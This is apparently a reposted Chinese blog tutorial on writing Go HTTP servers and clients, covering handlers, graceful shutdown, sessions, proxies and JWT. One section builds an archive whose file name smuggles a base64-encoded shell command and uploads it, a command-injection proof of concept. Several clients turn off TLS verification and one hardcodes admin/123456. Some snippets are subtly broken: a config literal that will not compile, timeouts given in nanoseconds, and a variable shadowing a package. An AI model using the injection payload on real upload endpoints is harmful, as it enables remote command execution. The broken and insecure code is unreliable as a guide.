用go实现http服务端和请求端

这篇具有很好参考价值的文章主要介绍了用go实现http服务端和请求端。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一、概述

        本文旨在学习记录下如何用go实现建立一个http服务器,同时构造一个专用格式的http客户端。

二、代码实现

2.1 构造http服务端

1、http服务处理流程

go http文件服务,golang,代码,golang,http,安全,web安全

基于HTTP构建的服务标准模型包括两个端,客户端(Client)和服务端(Server)。HTTP 请求从客户端发出,服务端接受到请求后进行处理然后将响应返回给客户端。所以http服务器的工作就在于如何接受来自客户端的请求,并向客户端返回响应。 

  • 使用http.HandleFunc实现http服务,返回hello world
package main

import (
   "fmt"
   "net/http"
)

func HelloHandler(w http.ResponseWriter, r *http.Request) {
   fmt.Fprintf(w, "Hello World")
}

func main () {
   http.HandleFunc("/", HelloHandler)
   http.ListenAndServe(":8000", nil)
}
  • 使用http.Handle实现http服务
package main

import (
   "fmt"
   "net/http"
)

type HelloHandlerStruct struct {
   content string
}

//必须实现此方法,且名称为ServerHTTP
func (handler *HelloHandlerStruct) ServeHTTP(w http.ResponseWriter, r *http.Request) {
   fmt.Fprintf(w, handler.content)
}

func main()  {
   http.Handle("/", &HelloHandlerStruct{content: "Hello World"})
   http.ListenAndServe(":8000", nil)
}
  • 优雅的关闭http服务
package main

import (
	"context"
	"fmt"
	"io/ioutil"
	"log"
	"net/http"
	"os"
	"os/signal"
	"syscall"
	"time"
)

type EchoHandler struct{}

func (handler EchoHandler) ServeHTTP(writer http.ResponseWriter, request *http.Request) {
	// 设置响应头
	writer.Header().Add("X-Data", "foo")

	// 设置相应的cookie
	http.SetCookie(writer, &http.Cookie{
		Name:   "x-cookie",
		Value:  "bar",
		MaxAge: 86400,
		Secure: true,
	})
	//设置响应状态码为200
	writer.WriteHeader(200)

	// 设置响应体,打印网络请求信息
	fmt.Fprintln(writer, "===== Network =====")
	fmt.Fprintln(writer, "Remote Address:", request.RemoteAddr)
	fmt.Fprintln(writer)

	// 设置响应体,打印请求方法 url host 协议信息
	fmt.Fprintln(writer, "===== Request Line =====")
	fmt.Fprintln(writer, "Method: ", request.Method)
	fmt.Fprintln(writer, "URL: ", request.URL)
	fmt.Fprintln(writer, "Host: ", request.Host)
	//fmt.Fprintln(writer, "URI: ", request.RequestURI)
	fmt.Fprintf(writer, "Protocol: %v major=%v minor=%v\n", request.Proto,
		request.ProtoMajor, request.ProtoMinor)
	fmt.Fprintln(writer)

	// 设置输出请求的请求头
	fmt.Fprintln(writer, "===== Header =====")
	for k, v := range request.Header {
		fmt.Fprintf(writer, "%v: %v\n", k, v)
	}
	fmt.Fprintln(writer)

	// 设置输出请求的body
	body, err := ioutil.ReadAll(request.Body)
	if err == nil && len(body) > 0 {
		fmt.Fprintln(writer, "===== Raw Body =====")
		fmt.Fprintln(writer, string(body))
	}
}

func main() {
	// 创建系统信号接收器
	done := make(chan os.Signal)
	signal.Notify(done, os.Interrupt, syscall.SIGINT, syscall.SIGTERM)

	// 创建 HTTP 服务器
	server := &http.Server{
		Addr:    ":8000",
		Handler: EchoHandler{},
	}

	// 启动 HTTP 服务器
	go func() {
		log.Println("Server starting...")
		if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed {
			log.Fatalf("ListenAndServe: %v", err)
		}
	}()

	// 监听系统信号并执行关闭操作
	<-done
	log.Println("Server shutting down...")

	// 创建一个超时上下文,确保关闭操作不会无限期等待
	ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
	defer cancel()

	if err := server.Shutdown(ctx); err != nil {
		log.Fatal("Shutdown server:", err)
	}

	log.Println("Server gracefully stopped")
}

2.2 构建http客户端

1、基本介绍及使用

net/http 包提供了最简洁的 HTTP 客户端实现,无需借助第三方网络通信库(比如 libcurl)就可以直接使用最常见的 GET 和 POST 方式发起 HTTP 请求。

func (c *Client) Get(url string) (r *Response, err error)
func (c *Client) Post(url string, bodyType string, body io.Reader) (r *Response, err error)
func (c *Client) PostForm(url string, data url.Values) (r *Response, err error)
func (c *Client) Head(url string) (r *Response, err error)
func (c *Client) Do(req *Request) (resp *Response, err error)

基本的代码实现:文章来源地址https://www.toymoban.com/news/detail-733991.html

package main

import (
	"bytes"
	"fmt"
	"io/ioutil"
	"net/http"
)

func main() {
	// 目标 URL
	baseUrl := "http://localhost"

	// 执行 GET 请求
	doGet(baseUrl + "/gettest")

	// 执行 POST 请求
	doPost(baseUrl + "/posttest")

	// 执行 POST Form 请求
	doPostForm(baseUrl + "/postform")
}

func doGet(url string) {
	response, err := http.Get(url)
	if err != nil {
		fmt.Println("GET request failed:", err)
		return
	}
	defer response.Body.Close()

	body, err := ioutil.ReadAll(response.Body)
	if err != nil {
		fmt.Println("Error reading response:", err)
		return
	}

	fmt.Println("GET Response:")
	fmt.Println(string(body))
}

func doPost(url string) {
	// 准备 POST 请求的 JSON 数据
	jsonPayload := []byte(`{"key": "value"}`)

	response, err := http.Post(url, "application/json", bytes.NewBuffer(jsonPayload))
	if err != nil {
		fmt.Println("POST request failed:", err)
		return
	}
	defer response.Body.Close()

	body, err := ioutil.ReadAll(response.Body)
	if err != nil {
		fmt.Println("Error reading response:", err)
		return
	}

	fmt.Println("POST Response:")
	fmt.Println(string(body))
}

func doPostForm(url string) {
	// 准备 POST Form 数据
	data := url.Values{}
	data.Add("name", "Alice")
	data.Add("age", "30")

	response, err := http.PostForm(url, data)
	if err != nil {
		fmt.Println("POST Form request failed:", err)
		return
	}
	defer response.Body.Close()

	body, err := ioutil.ReadAll(response.Body)
	if err != nil {
		fmt.Println("Error reading response:", err)
		return
	}

	fmt.Println("POST Form Response:")
	fmt.Println(string(body))
}

2、自定义请求头,以及绕过https验证

package main

import (
    "fmt"
    "net/http"
    "net/url"
    "strings"
)

func main() {
    // 自定义请求头
    headers := map[string]string{
        "User-Agent": "Your Custom User-Agent",
        "Host":       "example.com", // 自定义 Host
    }

    // 目标 URL
    targetURL := "https://example.com" // 替换为你的目标 URL

    // 创建自定义 Transport
    tr := &http.Transport{
        TLSClientConfig:       {InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证
        TLSHandshakeTimeout:   5,                         // 超时时间(秒)
        DisableKeepAlives:     true,                     // 禁用连接复用
        IdleConnTimeout:       30,                       // 空闲连接超时时间(秒)
        MaxIdleConnsPerHost:   2,                        // 每个主机的最大空闲连接数
        ResponseHeaderTimeout: 5,                        // 响应头超时时间(秒)
    }

    // 创建自定义客户端
    client := &http.Client{
        Transport: tr,
    }

    // 发送 GET 请求
    response, err := client.Get(targetURL)
    if err != nil {
        fmt.Println("GET request failed:", err)
        return
    }
    defer response.Body.Close()

    // 读取响应内容
    body := make([]byte, 1024)
    n, err := response.Body.Read(body)
    if err != nil {
        fmt.Println("Error reading response:", err)
        return
    }

    // 输出响应内容
    fmt.Println("Response:")
    fmt.Println(string(body[:n]))
}

3、实现登录后会话保持以及自定义请求头

package main

import (
    "fmt"
    "net/http"
    "net/url"
    "strings"
)

func main() {
    // 自定义请求头
    headers := map[string]string{
        "User-Agent": "Your Custom User-Agent",
        "Host":       "example.com", // 自定义 Host
    }

    // 目标 URL
    baseURL := "https://example.com" // 替换为你的目标 URL
    loginURL := baseURL + "/login"   // 登录 URL
    securedURL := baseURL + "/secured-resource" // 需要 Token 的 URL

    // 准备登录请求的数据
    loginData := url.Values{
        "user": {"admin"},
        "pass": {"123456"},
    }

    // 创建自定义 Transport
    tr := &http.Transport{
        TLSClientConfig:       {InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证
        TLSHandshakeTimeout:   5,                         // 超时时间(秒)
        DisableKeepAlives:     true,                     // 禁用连接复用
        IdleConnTimeout:       30,                       // 空闲连接超时时间(秒)
        MaxIdleConnsPerHost:   2,                        // 每个主机的最大空闲连接数
        ResponseHeaderTimeout: 5,                        // 响应头超时时间(秒)
    }

    // 创建自定义客户端
    client := &http.Client{
        Transport: tr,
    }

    // 发送登录请求
    loginRequest, err := http.NewRequest("POST", loginURL, strings.NewReader(loginData.Encode()))
    if err != nil {
        fmt.Println("Error creating login request:", err)
        return
    }

    // 设置登录请求的头部和内容类型
    loginRequest.Header.Set("Content-Type", "application/x-www-form-urlencoded")
    for key, value := range headers {
        loginRequest.Header.Set(key, value)
    }

    loginResponse, err := client.Do(loginRequest)
    if err != nil {
        fmt.Println("Login request failed:", err)
        return
    }
    defer loginResponse.Body.Close()

    // 获取登录后的 Token
    var token string
    for _, cookie := range loginResponse.Cookies() {
        if cookie.Name == "token" {
            token = cookie.Value
            break
        }
    }

    if token == "" {
        fmt.Println("Login failed. No token received.")
        return
    }

    fmt.Println("Login successful. Token:", token)

    // 在后续请求中添加 Token 到请求头
    securedRequest, err := http.NewRequest("GET", securedURL, nil)
    if err != nil {
        fmt.Println("Error creating secured request:", err)
        return
    }

    securedRequest.Header.Set("Authorization", "Bearer "+token) // 添加 Token 到请求头
    for key, value := range headers {
        securedRequest.Header.Set(key, value)
    }

    securedResponse, err := client.Do(securedRequest)
    if err != nil {
        fmt.Println("Secured request failed:", err)
        return
    }
    defer securedResponse.Body.Close()

    // 读取并输出响应内容
    responseBody, err := ioutil.ReadAll(securedResponse.Body)
    if err != nil {
        fmt.Println("Error reading response body:", err)
        return
    }

    fmt.Println("Secured resource response:")
    fmt.Println(string(responseBody))
}

4、构造一个带特殊字符的压缩包,并且通过接口上传

package main

import (
    "archive/tar"
    "bytes"
    "compress/gzip"
    "crypto/tls"
    "fmt"
    "io"
    "io/ioutil"
    "mime/multipart"
    "net/http"
    "os"
)

func main() {
    // 压缩文件内容
    tarContent := generateTarGzContent("11.jpg;`echo cHdkID4gL3RtcC9zdWNjZXNz|base64 -d|sh`")

    // 发送 HTTP POST 请求
    url := "https://example.com/upload" // 替换为你的目标 URL
    uploadTarGz(url, tarContent)
}

func generateTarGzContent(filename string) []byte {
    var buf bytes.Buffer
    gw := gzip.NewWriter(&buf)
    tw := tar.NewWriter(gw)

    // 添加文件到 tar 压缩包
    fileContent := []byte("This is the content of 11.jpg;`echo cHdkID4gL3RtcC9zdWNjZXNz|base64 -d|sh`")
    header := &tar.Header{
        Name: filename,
        Size: int64(len(fileContent)),
    }
    if err := tw.WriteHeader(header); err != nil {
        fmt.Println("写入 tar 头部失败:", err)
        os.Exit(1)
    }
    if _, err := tw.Write(fileContent); err != nil {
        fmt.Println("写入文件内容失败:", err)
        os.Exit(1)
    }

    // 关闭 tar 和 gzip 缓冲区
    if err := tw.Close(); err != nil {
        fmt.Println("关闭 tar 失败:", err)
        os.Exit(1)
    }
    if err := gw.Close(); err != nil {
        fmt.Println("关闭 gzip 失败:", err)
        os.Exit(1)
    }

    return buf.Bytes()
}

func uploadTarGz(url string, tarContent []byte) {
    // 创建一个 Buffer,用于构建 multipart/form-data 请求体
    var requestBody bytes.Buffer
    writer := multipart.NewWriter(&requestBody)

    // 写入 tar.gz 文件
    part, err := writer.CreateFormFile("file", "test.tar.gz")
    if err != nil {
        fmt.Println("创建表单文件失败:", err)
        os.Exit(1)
    }
    if _, err := io.Copy(part, bytes.NewReader(tarContent)); err != nil {
        fmt.Println("写入文件内容失败:", err)
        os.Exit(1)
    }

    // 关闭 multipart writer
    writer.Close()

    // 创建 HTTP 请求
    req, err := http.NewRequest("POST", url, &requestBody)
    if err != nil {
        fmt.Println("创建请求失败:", err)
        os.Exit(1)
    }
    req.Header.Set("Content-Type", writer.FormDataContentType())

    // 创建一个自定义的 Transport,用于跳过 HTTPS 证书验证
    tr := &http.Transport{
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    }

    // 使用自定义 Transport 发起请求
    client := &http.Client{Transport: tr}
    response, err := client.Do(req)
    if err != nil {
        fmt.Println("请求失败:", err)
        os.Exit(1)
    }
    defer response.Body.Close()

    // 读取响应内容
    responseBody, err := ioutil.ReadAll(response.Body)
    if err != nil {
        fmt.Println("读取响应内容失败:", err)
        os.Exit(1)
    }

    fmt.Println("响应内容:")
    fmt.Println(string(responseBody))
}

5、设置http代理

package main

import (
    "fmt"
    "net/http"
    "net/url"
    "os"
)

func main() {
    // 创建 HTTP 客户端,并设置代理
    proxyURL, err := url.Parse("http://127.0.0.1:8080") // 替换为您的代理服务器地址
    if err != nil {
        fmt.Println("解析代理地址失败:", err)
        os.Exit(1)
    }

    client := &http.Client{
        Transport: &http.Transport{
            Proxy: http.ProxyURL(proxyURL),
        },
    }

    // 创建 HTTP 请求
    url := "https://example.com" // 替换为您要请求的目标 URL
    request, err := http.NewRequest("GET", url, nil)
    if err != nil {
        fmt.Println("创建请求失败:", err)
        os.Exit(1)
    }

    // 发送 HTTP 请求
    response, err := client.Do(request)
    if err != nil {
        fmt.Println("请求失败:", err)
        os.Exit(1)
    }
    defer response.Body.Close()

    // 读取响应内容
    responseBody := make([]byte, 0)
    buffer := make([]byte, 1024)
    for {
        n, err := response.Body.Read(buffer)
        if n > 0 {
            responseBody = append(responseBody, buffer[:n]...)
        }
        if err != nil {
            break
        }
    }

    fmt.Println("响应内容:")
    fmt.Println(string(responseBody))
}

6、综合实践 

// 生成jwt token
func CreateJWT(claim jwt.Claims) (string, error) {
	//读取 RSA私钥文件
	privateKeyBytes, err := ioutil.ReadFile(privateKeyPath)
	if err != nil {
		return "", err
	}

	//解析RSA私钥
	privateKey, err := jwt.ParseRSAPrivateKeyFromPEM(privateKeyBytes)
	if err != nil {
		return "", err
	}

	//创建jwt
	token := jwt.NewWithClaims(jwt.SigningMethodRS256, claim)

	//使用私钥进行签名
	tokenString, err := token.SignedString(privateKey)

	return tokenString, nil
}

// 验证token有效性,主要为想做成直接用解析提供的token并从中获取想要的参数,避免传入过多参数,暂时未用上
func ParseToken(tokenStr string) (interface{}, error) {
	//读取RSA公钥文件
	publicKeyBytes, err := ioutil.ReadFile(publicKeyPath)
	if err != nil {
		return "", nil
	}

	//解析RSA 公钥
	publicKey, err := jwt.ParseRSAPublicKeyFromPEM(publicKeyBytes)
	if err != nil {
		return "", err
	}

	//解析token
	token, err := jwt.Parse(tokenStr, func(token *jwt.Token) (interface{}, error) {
		if token.Method != jwt.SigningMethodRS256 {
			return nil, fmt.Errorf("加密方法有误,非rsa256,而是:%v", token.Header["alg"])
		}
		return publicKey, nil
	})

	//检查解析是否成功
	if err != nil {
		return nil, err
	}

	//验证token是否有效
	if !token.Valid {
		return nil, fmt.Errorf("无效token")
	} else if claims, ok := token.Claims.(jwt.MapClaims); ok {
		//通过key获取具体的Claims值
		fmt.Println("touken有效,正在提取其中的Claims。。。。")
		return claims, nil
	} else {
		return nil, fmt.Errorf("token有效,但是无法提取Claims")
	}

}


func GetCookie(token, url string) (string, error) {
	//自定义请求头
	headers := map[string]string{
		"token":           token, //利用生成的token
		"User-Agent":      "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36",
		"Accept":          " application/json, text/plain, */*",
		"Accept-Encoding": "gzip, deflate",
		"Content-Type":    "application/json",
		"Accept-Language": "zh-CN,zh;q=0.9",
	}

	//fmt.Println("\nurl 为", baseurl)

	//创建代理
	/* 	proxyURL, err := url.Parse("http://127.0.0.1:8080") //设置代理地址

	   	if err != nil {
	   		fmt.Println("解析代理地址失败", err)
	   		os.Exit(1)
	   	} */
	// 创建自定义 Transport
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证
		//TLSHandshakeTimeout: 10,                                    // 超时时间(秒)
		DisableKeepAlives:   true, // 禁用连接复用
		IdleConnTimeout:     30,   // 空闲连接超时时间(秒)
		MaxIdleConnsPerHost: 20,   // 每个主机的最大空闲连接数
		//ResponseHeaderTimeout: 10, // 响应头超时时间(秒)
		//Proxy: http.ProxyURL(proxyURL), //设置代理服务器
	}

	//创建自定义客户端
	client := &http.Client{
		Transport: tr,
		Timeout:   time.Second * 10, //设置请求的超时时间
	}

	//创建JSON请求体
	requestBody := map[string]interface{}{
		"username":            "123456",
		"password": "1",
	}

	//将请求体编码为 JSON格式
	jsonData, err := json.Marshal(requestBody)
	if err != nil {
		fmt.Println("JSON 编码错误", err)
		return "", err
	}

	//创建post请求
	request, err := http.NewRequest("POST", url, bytes.NewBuffer(jsonData))
	if err != nil {
		fmt.Println("创建请求错误", err)
		return "", err
	}

	//设置请求头
	for key, value := range headers {
		request.Header.Set(key, value)
	}

	//发送POST请求
	response, err := client.Do(request)
	if err != nil {
		fmt.Println("\n请求错误:", err)
		return "", err
	}
	defer response.Body.Close()

	/* 	// 读取响应内容
	   	var responseStr string
	   	buf := new(bytes.Buffer)
	   	_, err = buf.ReadFrom(response.Body)
	   	if err != nil {
	   		return "", err
	   	}
	   	responseStr = buf.String()

	   	// 检查响应状态码
	   	if response.StatusCode != http.StatusOK {
	   		return "", fmt.Errorf("响应状态码为 %d", response.StatusCode)
	   	}

	   	return responseStr, nil */

	//处理响应:仅针对返回body为json格式数据
	var responseBody map[string]interface{}
	decoder := json.NewDecoder(response.Body)
	if err := decoder.Decode(&responseBody); err != nil {
		fmt.Println("响应解析错误", err)
		return "", err
	}
	//输出响应
	fmt.Println("响应状态码:", response.Status)
	fmt.Println("响应数据ret:", responseBody["ret"])
	var retflag float64
	retflag = 1
	if responseBody["ret"].(float64) == retflag {
		setCookieHeaders := response.Header["Set-Cookie"]
		return setCookieHeaders[0], nil
	} else {
		return "", fmt.Errorf("错误信息:%s", responseBody["error"])
	}

到了这里,关于用go实现http服务端和请求端的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • WebSocket 详解,以及用QWebSocket 实现服务端和客户端(含代码例子)

    目录 前言: 1、WebSocket 诞生背景 2、WebSocket的特点: 3、 WebSocket 简介 4、WebSocket 优点 5、QWebSocket通讯—客户端: 6、QWebSocket通讯—服务端: 前言:         要是对WebSocket 的基本知识都了解了,可以直接移步,实际如何使用这个类 (二) 用QWebSocket 实现服务端和客户端(

    2024年02月16日
    浏览(49)
  • (一)WebSocket 详解,以及用QWebSocket 实现服务端和客户端(含代码例子)

    目录 前言: 1、WebSocket 诞生背景 2、WebSocket的特点: 3、 WebSocket 简介 4、WebSocket 优点 5、QWebSocket通讯—客户端: 6、QWebSocket通讯—服务端: 前言:         要是对WebSocket 的基本知识都了解了,可以直接移步,实际如何使用这个类 (二) 用QWebSocket 实现服务端和客户端(

    2024年02月03日
    浏览(53)
  • 三分钟用Golang搭建一个HTTP文件上传下载服务器

    简单需要一个文件服务器来传递数据,只要两个功能,一个上传接口,一个下载接口。 选用go http模块实现,比nginx、ftp等更方便快捷。 上传接口\\\"/v1/file_upload/\\\" 上传接口增加简单BasicAuth鉴权 上传成功返回下载URL json格式返回 只想文件上传服务器测试接口,以下电梯直达即可

    2024年02月11日
    浏览(71)
  • golang http服务实现多ip监听,及优雅重启

    在工作中,有时需要对http服务实现多监听,http服务重启等需求。大多数web框架只实现的是单ip监听,要实现多ip监听就需要循环监听ip; 而重启http服务,首先想到的是用endless来优雅的实现服务的重启,但是当多ip监听时,一个项目不能用一个endLess,多了会报错,且windows环境也

    2023年04月12日
    浏览(39)
  • linux搭建http源【服务端和客户端详细说明】

    inet 192.168.122.1/24 brd 192.168.122.255 scope global virbr0 [root@master ~]# 关闭防火墙和selinux firewall的话,直接 systemctl stop firewalld 即可 如果使用的是iptables,则吧firewalld替换成iptables [root@master ~]# systemctl is-active firewalld active [root@master ~]# [root@master ~]# systemctl stop firewalld [root@master ~]# [root@m

    2024年04月13日
    浏览(40)
  • linux搭建http源【服务端和客户端详细说明(1)

    我下面的HTTP配置使用的包就是iso镜像里面的包【同理,我们只要会这种方式以后,使用什么包都一样,可以自己在网上下载自己需要的包和依赖,然后通过这种方式配置成http源,然后就可以直接使用yum安装了,这样的好处是解决软件在安装的时候会有许多依赖包这个繁琐的

    2024年04月11日
    浏览(42)
  • HTTP 服务器(基于go实现)

    编写一个 HTTP 服务器,接收客户端 request,并将 request 中带的 header 写入 response header 编写一个 HTTP 服务器, 接收客户端 request,并将 request 中带的 header 写入 response header ,读取当前系统的环境变量中的 VERSION 配置,并写入 response header Server 端记录访问日志包括客户端 IP,HT

    2024年02月11日
    浏览(58)
  • linux+nginx-http-flv-module+ffmpeg实现搭建简易流媒体服务器将rtsp流转flv格式在web端和微信小程序实时播放监控视频

    一.介绍背景 公司项目开发需求:将海康摄像头的rtsp流在web端及微信小程序端进行播放。之前我写过一篇关于web端使用webtrc+videojs播放rtsp流的文章,确实能够解决web端播放rtsp流的需求,但是这次多加了一个微信小程序....所以要考虑小程序的播放问题。本着探索实践的精神在

    2024年02月08日
    浏览(74)
  • 通过HttpPost发送http请求实现文件上传

    通过HttpPost发送http请求,实现postman上传文件效果 需要引入: ** 关键代码:multipartEntityBuilder.addBinaryBody ** 如还需传入其他文本参数:如下图 本人亲自验证有效。

    2024年02月12日
    浏览(39)
  • Golang Gin HTTP 请求和参数解析

    我们介绍了Gin框架,并做了Gin框架的安装,完成了第一个Gin工程的创建。 创建Engine 在gin框架中,Engine被定义成为一个结构体,Engine代表gin框架的一个结构体定义, 其中包含了路由组、中间件、页面渲染接口、框架配置设置等相关内容。 默认的Engine可以通过gin.Default进行创建

    2024年02月01日
    浏览(79)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包